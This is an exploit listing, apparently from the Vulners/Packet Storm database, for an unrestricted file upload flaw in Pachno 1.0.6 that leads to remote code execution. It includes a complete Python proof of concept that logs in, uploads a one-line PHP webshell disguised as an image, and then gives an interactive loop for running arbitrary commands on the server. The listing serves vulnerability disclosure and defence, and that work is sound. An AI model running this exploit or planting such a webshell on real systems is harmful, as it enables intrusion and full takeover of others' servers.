Lucene search
K

📄 Pachno 1.0.6 Shell Upload

🗓️ 13 Apr 2026 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 55 Views

Pachno 1.0.6 allows authenticated uploads to /public via /uploadfile, enabling remote code execution.

Code
#!/usr/bin/env python3
    #
    #
    # Pachno 1.0.6 (uploadfile) Unrestricted File Upload Remote Code Execution
    #
    #
    # Vendor: Daniel André Eikeland
    # Product web page: https://github.com/pachno/pachno
    # Affected version: 1.0.6
    #
    # Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)
    # designed for team project management, issue tracking, and documentation. It offers a module-based,
    # customizable environment for software development and team workflows, distributed under the
    # Mozilla Public License.
    #
    # Desc: The multipart file parameter to the /uploadfile endpoint allows authenticated users to
    # upload files directly to the server. File upload must be enabled by an admin, who can also
    # configure the storage path, within a web-accessible /public directory. Extension filtering
    # is ineffective. Although a blacklist exists, it is never used (dead code), allowing arbitrary
    # file types such as .php5 to be uploaded. Files are stored on disk regardless of permission
    # checks. If the upload path is web-accessible, uploaded scripts can be executed, leading to
    # remote code execution.
    #
    # Tested on: GNU/Linux
    #            Apache2
    #            PHP/7.4
    #            MySQL/5.7 (MariaDB)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2026-5982
    # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5982
    #
    #
    # 06.04.2026
    #
    #
    
    import requests
    import time
    import sys
    
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <host> <username> <password>")
        print("Example: python3 poc.py http://127.0.0.1 admin admin")
        sys.exit(1)
    
    host = sys.argv[1].rstrip('/')
    user = sys.argv[2]
    passwd = sys.argv[3]
    
    s = requests.Session()
    
    print("[+] Logging in...")
    login_data = {"username": user, "password": passwd, "rememberme": "1"}
    
    r = s.post(f"{host}/login", data=login_data, timeout=10)
    
    if r.status_code != 200 or "username=" not in str(r.cookies):
        print("[-] Login failed")
        sys.exit(1)
    
    print("[+] Login successful")
    print("[+] Uploading webshell...")
    
    webshell = '''<?php if(isset($_GET['cmd'])) echo "<pre>".shell_exec($_GET['cmd'])."</pre>"; ?>'''
    
    files = {'file': ('shell.php5', webshell, 'image/png')}
    
    r = s.post(f"{host}/uploadfile", files=files, timeout=10)
    
    if r.status_code not in [200, 201, 204]:
        print(f"[-] Upload failed: {r.status_code}")
        sys.exit(1)
    
    print("[+] Webshell uploaded successfully!")
    
    user_id = 2
    timestamp = int(time.time())
    
    filename = f"{user_id}_{timestamp}_shell.php5"
    shell_url = f"{host}/public/{filename}"
    
    print(f"[+] Filename: {filename}")
    print(f"[+] Webshell URL: {shell_url}\n")
    
    while True:
        try:
            cmd = input("___ ").strip()
            if cmd.lower() in ['exit', 'quit']:
                break
            if not cmd:
                continue
    
            resp = s.get(shell_url, params={'cmd': cmd}, timeout=10)
            print(resp.text if resp.status_code == 200 else f"[-] Error: {resp.status_code}")
    
        except KeyboardInterrupt:
            break
        except Exception as j:
            print(f"[-] Error: {j}")
    
    print("\n[+] Done")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation